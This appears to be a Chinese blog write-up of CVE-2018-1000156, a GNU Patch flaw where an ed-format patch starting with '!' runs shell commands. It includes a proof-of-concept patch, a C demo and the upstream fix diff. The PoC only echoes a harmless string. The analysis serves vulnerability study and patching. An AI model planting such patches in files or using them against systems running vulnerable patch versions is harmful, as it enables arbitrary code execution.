CVE-2018-1000156:GNU Patch任意代碼執行漏洞分析

CVE-2018-1000156:GNU Patch任意代碼執行漏洞分析

來自專欄 ChaMd5安全團隊

漏洞背景

使用ed格式並用!開頭的補丁,會導致代碼執行

影響版本

GNU Patch 2.7.6及以下

(筆者下載了GNU Patch 2.7.1~6源碼編譯測試,都存在該問題)

GNU Patch 源碼下載地址:ftp.gnu.org/gnu/patch/

漏洞分析

Poc代碼

--- a 2018-13-37 13:37:37.000000000 +0100+++ b 2018-13-37 13:38:38.000000000 +01001337a1,112d!echo "pwn successfully!"

調試過程

gdb 設置參數運行:

set args test < ./poc.patch

b do_ed_script

漏洞成因

函數原型

FILE *popen(const char *command, const char *type);

如果type是"w"則文件指針連接到command的標準輸入,會將patch的內容傳入/bin/ed/ - ./test.oUm4Sb5的輸入中,test.oUm4Sb5是之前make_tempfile創建的臨時文件。

popen()函數通過創建一個管道,調用fork()產生一個子進程,執行一個shell以運行命令來開啟一個進程

啟動的進程為/bin/ed,而!ed編輯器中表示後面跟的是操作系統命令,從而導致代碼執行。

漏洞demo

#include <stdio.h>#include <stdlib.h> #include <string.h>#include <fcntl.h>#include <sys/types.h>#include <sys/stat.h>int main(){ FILE *pipefp = 0; char *buf[200]; static FILE *pfp; sprintf(buf,"%s","/bin/ed - ./temp.txt"); fflush(stdout); pipefp = popen(buf,"w"); sprintf(buf,"%s","1337a
1,112d
!echo pwn successfully
"); fwrite(buf,1,200,pipefp); pclose(pipefp); return 0;}

popen處fork了父進程和子進程,父進程通過fwrite將運行的命令傳入管道,子進程此時打開了/bin/ed,接受了命令,並執行。

運行結果

補丁分析

diff --git a/src/pch.c b/src/pch.cindex bc6278c..f97a4dc 100644--- a/src/pch.c+++ b/src/pch.c@@ -33,6 +33,7 @@ # include <io.h> #endif #include <safe.h>+#include <sys/wait.h> #define INITHUNKMAX 125 /* initial dynamic allocation size */ @@ -2389,22 +2390,25 @@ do_ed_script (char const *inname, char const *outname, static char const editor_program[] = EDITOR_PROGRAM; file_offset beginning_of_this_line;- FILE *pipefp = 0; size_t chars_read;+ FILE *tmpfp = 0;+ char const *tmpname;+ int tmpfd, tmpfl;+ pid_t pid;++ if (! dry_run && ! skip_rest_of_patch)+ {+ /* Write ed script to a temporary file: this causes ed to abort on+ invalid commands. If we used a pipe instead, ed would continue+ after invalid commands. */+ tmpfd = make_tempfile (&tmpname, e, NULL, O_RDWR | O_BINARY, 0);+ if (tmpfd == -1)+ pfatal ("Cant create temporary file %s", quotearg (tmpname));+ tmpfp = fdopen (tmpfd, "w+b");+ if (! tmpfp)+ pfatal ("Cant open stream for file %s", quotearg (tmpname));+ } - if (! dry_run && ! skip_rest_of_patch) {- int exclusive = *outname_needs_removal ? 0 : O_EXCL;- assert (! inerrno);- *outname_needs_removal = true;- copy_file (inname, outname, 0, exclusive, instat.st_mode, true);- sprintf (buf, "%s %s%s", editor_program,- verbosity == VERBOSE ? "" : "- ",- outname);- fflush (stdout);- pipefp = popen(buf, binary_transput ? "wb" : "w");- if (!pipefp)- pfatal ("Cant open pipe to %s", quotearg (buf));- } for (;;) { char ed_command_letter; beginning_of_this_line = file_tell (pfp);@@ -2415,14 +2419,14 @@ do_ed_script (char const *inname, char const *outname, } ed_command_letter = get_ed_command_letter (buf); if (ed_command_letter) {- if (pipefp)- if (! fwrite (buf, sizeof *buf, chars_read, pipefp))+ if (tmpfp)+ if (! fwrite (buf, sizeof *buf, chars_read, tmpfp)) write_fatal (); if (ed_command_letter != d && ed_command_letter != s) { p_pass_comments_through = true; while ((chars_read = get_line ()) != 0) {- if (pipefp)- if (! fwrite (buf, sizeof *buf, chars_read, pipefp))+ if (tmpfp)+ if (! fwrite (buf, sizeof *buf, chars_read, tmpfp)) write_fatal (); if (chars_read == 2 && strEQ (buf, ".
")) break;@@ -2435,13 +2439,50 @@ do_ed_script (char const *inname, char const *outname, break; } }- if (!pipefp)+ if (!tmpfp) return;- if (fwrite ("w
q
", sizeof (char), (size_t) 4, pipefp) == 0- || fflush (pipefp) != 0)+ if (fwrite ("w
q
", sizeof (char), (size_t) 4, tmpfp) == 0+ || fflush (tmpfp) != 0) write_fatal ();- if (pclose (pipefp) != 0)- fatal ("%s FAILED", editor_program);++ if ((tmpfl = fcntl (tmpfd, F_GETFD)) == -1+ || fcntl (tmpfd, F_SETFD, tmpfl & ~FD_CLOEXEC) == -1)+ pfatal ("Cant clear close-on-exec flag of %s", quotearg (tmpname));++ if (lseek (tmpfd, 0, SEEK_SET) == -1)+ pfatal ("Cant rewind to the beginning of file %s", quotearg (tmpname));++ if (! dry_run && ! skip_rest_of_patch) {+ int exclusive = *outname_needs_removal ? 0 : O_EXCL;+ assert (! inerrno);+ *outname_needs_removal = true;+ copy_file (inname, outname, 0, exclusive, instat.st_mode, true);+ sprintf (buf, "%s %s%s", editor_program,+ verbosity == VERBOSE ? "" : "- ",+ outname);+ fflush (stdout);++ pid = fork();+ if (pid == -1)+ pfatal ("Cant fork");+ else if (pid == 0)+ {+ dup2 (tmpfd, 0);+ execl ("/bin/sh", "sh", "-c", buf, (char *) 0);+ _exit (2);+ }+ else+ {+ int wstatus;+ if (waitpid (pid, &wstatus, 0) == -1+ || ! WIFEXITED (wstatus)+ || WEXITSTATUS (wstatus) != 0)+ fatal ("%s FAILED", editor_program);+ }+ }++ fclose (tmpfp);+ safe_unlink (tmpname); if (ofp) {

補丁是創建了臨時文件來代替pipe操作,使用文件的方式會使得ed因為無效的命令而退出,而之前的pipe操作遇到無效的命令後會繼續執行。但popen的內部實現其實也是通過先fork,再dup2(fd,0),最後執行execl,補丁只是模擬了這一過程,並用文件的方式代替了管道操作。

其他緩解措施:以/bin/ed -r的形式啟動,而-r參數的含義是:

-r, –restricted run in restricted mode

運行在嚴格的模式下,它禁止從當前目錄編輯文件和執行shell命令。

參考鏈接

cve.mitre.org/cgi-bin/c

savannah.gnu.org/bugs/i

ibm.com/support/knowled

好了

作為一個懶癌患者

我終於完成了我對老m的承諾

筆芯

去耍了

??


推薦閱讀:

開始寫點什麼
隱式馬爾科夫鏈(HMM)學習筆記
如何學習新技術?
doge年第一更!CSAPP讀書筆記20180216

TAG:GNU | 計算機科學 |